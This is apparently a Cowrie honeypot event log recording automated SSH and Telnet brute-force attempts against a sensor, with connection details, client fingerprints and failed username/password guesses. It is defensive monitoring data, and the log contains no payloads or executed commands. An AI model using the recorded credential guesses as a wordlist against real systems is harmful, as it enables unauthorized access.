{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":49876,"dst_ip":"10.17.0.5","dst_port":22,"session":"a929efc0a722","protocol":"ssh","message":"New connection: 101.47.156.21:49876 (10.17.0.5:22) [session: a929efc0a722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:41.760417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:41.769449Z","src_ip":"101.47.156.21","session":"a929efc0a722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:42.011588Z","src_ip":"101.47.156.21","session":"a929efc0a722","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3R4","message":"login attempt [root/q1w2e3R4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:43.005756Z","src_ip":"101.47.156.21","session":"a929efc0a722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:44.257505Z","src_ip":"101.47.156.21","session":"a929efc0a722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.47.94","src_port":42790,"dst_ip":"159.203.135.109","dst_port":22,"session":"6192a4481c9f","protocol":"ssh","message":"New connection: 103.25.47.94:42790 (159.203.135.109:22) [session: 6192a4481c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:52.196083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:52.201253Z","src_ip":"103.25.47.94","session":"6192a4481c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:52.444758Z","src_ip":"103.25.47.94","session":"6192a4481c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweewq123","message":"login attempt [root/qweewq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:53.451503Z","src_ip":"103.25.47.94","session":"6192a4481c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:54.698574Z","src_ip":"103.25.47.94","session":"6192a4481c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.20021843910217,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:57.010776Z","src_ip":"79.139.59.21","session":"40dd4d8ae1f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.75157928466797,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:00.353251Z","src_ip":"79.139.59.21","session":"c910889a97d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.58","src_port":35474,"dst_ip":"159.203.135.109","dst_port":22,"session":"73d621872b54","protocol":"ssh","message":"New connection: 123.58.209.58:35474 (159.203.135.109:22) [session: 73d621872b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:01.798773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:01.804456Z","src_ip":"123.58.209.58","session":"73d621872b54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:02.015256Z","src_ip":"123.58.209.58","session":"73d621872b54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123","message":"login attempt [dev/dev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:02.893177Z","src_ip":"123.58.209.58","session":"73d621872b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:04.107635Z","src_ip":"123.58.209.58","session":"73d621872b54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":51834,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac76cd33102b","protocol":"ssh","message":"New connection: 103.114.153.158:51834 (10.17.0.5:22) [session: ac76cd33102b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:05.833590Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:05.839218Z","src_ip":"103.114.153.158","session":"ac76cd33102b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":51838,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa2e5d711d63","protocol":"ssh","message":"New connection: 103.114.153.158:51838 (10.17.0.5:22) [session: aa2e5d711d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:09.370235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:09.375789Z","src_ip":"103.114.153.158","session":"aa2e5d711d63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:09.578440Z","src_ip":"103.114.153.158","session":"aa2e5d711d63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"NoPassGst1234","message":"login attempt [admin/NoPassGst1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:10.418203Z","src_ip":"103.114.153.158","session":"aa2e5d711d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:10.898794Z","src_ip":"103.114.153.158","session":"aa2e5d711d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53790,"dst_ip":"159.203.135.109","dst_port":23,"session":"1758b45d6976","protocol":"telnet","message":"New connection: 69.4.83.194:53790 (159.203.135.109:23) [session: 1758b45d6976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:11.005170Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":48938,"dst_ip":"10.17.0.5","dst_port":22,"session":"2706c3357d47","protocol":"ssh","message":"New connection: 103.114.153.158:48938 (10.17.0.5:22) [session: 2706c3357d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:11.090507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:11.096217Z","src_ip":"103.114.153.158","session":"2706c3357d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:11.284458Z","src_ip":"103.114.153.158","session":"2706c3357d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:12.072201Z","src_ip":"103.114.153.158","session":"2706c3357d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:12.550667Z","src_ip":"103.114.153.158","session":"2706c3357d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":48946,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d1509b3d7d7","protocol":"ssh","message":"New connection: 103.114.153.158:48946 (10.17.0.5:22) [session: 4d1509b3d7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:12.741760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:12.747333Z","src_ip":"103.114.153.158","session":"4d1509b3d7d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:12.938043Z","src_ip":"103.114.153.158","session":"4d1509b3d7d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":33592,"dst_ip":"10.17.0.5","dst_port":22,"session":"0da909e12eaf","protocol":"ssh","message":"New connection: 182.191.77.164:33592 (10.17.0.5:22) [session: 0da909e12eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:13.031635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:13.037371Z","src_ip":"182.191.77.164","session":"0da909e12eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:13.266357Z","src_ip":"182.191.77.164","session":"0da909e12eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Qwerty1","message":"login attempt [admin/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:13.730319Z","src_ip":"103.114.153.158","session":"4d1509b3d7d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.73916029930115,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:14.186112Z","src_ip":"69.4.83.194","session":"c99159b2e0db","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:14.209910Z","src_ip":"182.191.77.164","session":"0da909e12eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:14.219862Z","src_ip":"103.114.153.158","session":"4d1509b3d7d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":48950,"dst_ip":"10.17.0.5","dst_port":22,"session":"bea0b8b5e6c7","protocol":"ssh","message":"New connection: 103.114.153.158:48950 (10.17.0.5:22) [session: bea0b8b5e6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:14.419321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:14.425271Z","src_ip":"103.114.153.158","session":"bea0b8b5e6c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:14.621215Z","src_ip":"103.114.153.158","session":"bea0b8b5e6c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Qwerty1","message":"login attempt [user/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:15.426062Z","src_ip":"103.114.153.158","session":"bea0b8b5e6c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:15.444478Z","src_ip":"182.191.77.164","session":"0da909e12eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:15.907020Z","src_ip":"103.114.153.158","session":"bea0b8b5e6c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":48964,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2a40bb07b24","protocol":"ssh","message":"New connection: 103.114.153.158:48964 (10.17.0.5:22) [session: a2a40bb07b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:16.101624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:16.107046Z","src_ip":"103.114.153.158","session":"a2a40bb07b24","protocol":"ssh"}
